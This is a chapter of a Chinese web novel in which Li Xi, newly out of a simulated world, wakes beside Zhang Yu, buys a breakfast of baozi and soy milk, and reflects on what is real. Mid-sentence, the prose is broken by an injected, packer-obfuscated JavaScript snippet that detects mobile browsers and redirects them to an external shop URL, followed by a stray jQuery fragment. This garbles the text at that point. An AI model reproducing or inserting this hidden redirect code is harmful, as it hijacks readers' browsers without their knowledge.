李析醒过来的时候，花了几秒才确定自己在哪里。
天花板是白色的。不是灰白，是真实的白色，带有细微的纹理，边缘有一道很浅的裂缝从墙角延伸了大约一掌的距离。窗帘没有完全拉上，外面的光透进来，是早晨的、偏冷的光线，比主会场傍晚的暖光清淡很多。他被子上压着一条手臂，手臂的另一端连着一个人的肩膀，肩膀的另一端是侧躺的姿势，脸埋在枕头里，露出一截后颈和短发的发尾。
李析没有动。他先确认了几件事：第一，他能感觉到被子的重量压在身体上的分布——左肩偏重，因为那条手臂压在那里。第二，他能感觉到自己的呼吸在胸腔里进出，有实体肺叶的扩张和收缩，不是数据模拟的，是真实的身体机能自动运行。第三，窗帘外面的光正在缓慢地变亮，从偏冷的光过渡到偏暖，时间在流淌。第四，他手边没有终端界面。他把右手抬起来看了一眼——实的，指尖在早晨的冷光下带着一点微红的血色，指腹摸到被套的棉布纹理的时候触感是持续的、不退的。
他没有觉得自己在哪儿这件事已经确定了。他在床沿坐起来的时候张驭的手臂从他身上滑落到床垫上，那人还在睡，脸埋着的那个姿态从外面只能看到后颈和发尾。李析坐在床沿边低头看他——第一次在现实里看到张驭睡觉的样子。底层里他感知过张驭的呼吸从清醒到入睡的节奏变化，心率从六十七降到五十五，肌肉在睡梦中逐渐放松。但他没有见过现实里的这一面——睡着的时候眉头是松的，和清醒时不同，手是攥着的，攥着被套的边缘，像是睡着也习惯抓着什么东西。
李析穿上昨晚穿的那件深灰色外套——张驭带的那件，他昨晚从主会场离开之后就一直穿着。扣子扣了两颗，第三颗没扣，他在找拖鞋。拖鞋在床脚的地板上放着，灰色的，绒毛面，和他的尺码差了一码，穿进去脚尖顶到边缘。他站起来走到窗边，把窗帘拉开了一条缝。
外面的景象是他之前没有记住细节的——窗外的街道是普通居民区的街道，柏油路面，路边种着一排不认识的树，叶子是深绿色的，在早晨的微风里轻轻晃动。街对面有一家早餐铺，门面很小，门口冒着白色的热气。他听到了声音，真实的——远处有汽车驶过的声音，对面早餐铺有人在聊天，声音隔着窗户传进来，模模糊糊的，像隔着一层水。
他没有等张驭醒。他穿上拖鞋，走过客厅，打开门，下了楼。他沿着街道走了大约二十步到那家早餐铺，卖早餐的是个中年女人，看了他一眼说："吃点什么？"李析在蒸汽和热油的气味里站了几秒钟，说了一句话——不是"随便"，不是"看一下"，是一串他已经很久没有在现实里说过的字："两个包子，一杯豆浆。"
他拿着那两个包子和一杯豆浆走回门口，上楼之前站在楼道口犹豫了两秒，在想张驭醒了没有。然后他听到楼上有脚步声——是他们那间房的方向。他拎着早餐走上去，门从里面开着，张驭站在门口，短发一侧是压扁的，一只手搭在门框上，看到他站在楼梯口，手里拎着两个包子和一杯豆浆。张驭的视线从包子上移到李析脸上，说了一句话，声音还带着刚醒的低哑："……你出去买早饭了。"
"嗯。"
张驭退后一步让开门，李析走进去把豆浆放在客厅的茶几上，包子的纸袋放在旁边。张驭站在原地看了他一会儿，然后走到茶几旁边坐下来，拿起一个包子咬了一口。他嚼完了咽下去，说："这个是真的。"
李析也坐下来，拿起另一个包子。"……什么真的？"
张驭低头看了看手里的包子，又抬眼看他："你在底层的第一天说，你在公司的时候吃早饭——吐司或者便利店饭团。这是第一次在现实里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930603|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看到你买早饭。"
李析咬了一口包子，热馅的汁水在舌尖上散开，是真的。"……吐司和饭团我不会做。包子是现成的。"
张驭吃完了一个包子，把纸袋叠好放在一边。他站起来，把豆浆杯在手里握了一下——是烫的——然后说："你今天有什么计划？"
李析坐在沙发上，手里还剩半个包子。"不知道。你醒之前我站在窗边看了一眼对面那棵树的叶子。叶子在动，因为有风。"
张驭侧过头看他："所以你今天看树。"
"……先看树。"李析说，"然后看别的东西。"
张驭回到茶几旁边坐下来，手里那杯豆浆放在膝上，没有喝，只是握着。"那今天先看树。"他说，"明天再看别的。"
李析坐在沙发靠垫里，咬着剩下的半个包子，张驭坐在茶几旁边的矮凳上，两杯豆浆并列放在茶几边缘，蒸汽从杯口升起来穿过早晨的光线。窗帘拉开的缝隙比之前大了一点，光正在从偏冷变成偏暖，窗外的树叶在动，因为确实有风。李析没有倒计时在头顶，没有数据流在感知层里流过，只有热豆浆的蒸汽、包子的馅汁、和一个人坐在他旁边。
他把半个包子吃完，纸袋叠好放在茶几上，然后说了一句话，声音比在底层里任何一句都更松弛："这里的树——为什么和底层的颜色不一样？"
张驭侧过头看他，视线在他脸上停了一下，然后说："因为底层的树是数据模拟的。这个是真的。"
"……真的。我知道。"李析说。他看着窗外那棵真的树，深绿色的叶子在风里晃动。他现在知道真的东西摸上去是什么感觉了——包子、豆浆杯、门框、床单、外套内侧的标签。他今天摸了很多真的东西。明天会摸更多。
"……今天先看树。"他说，"树不动了再看别的。"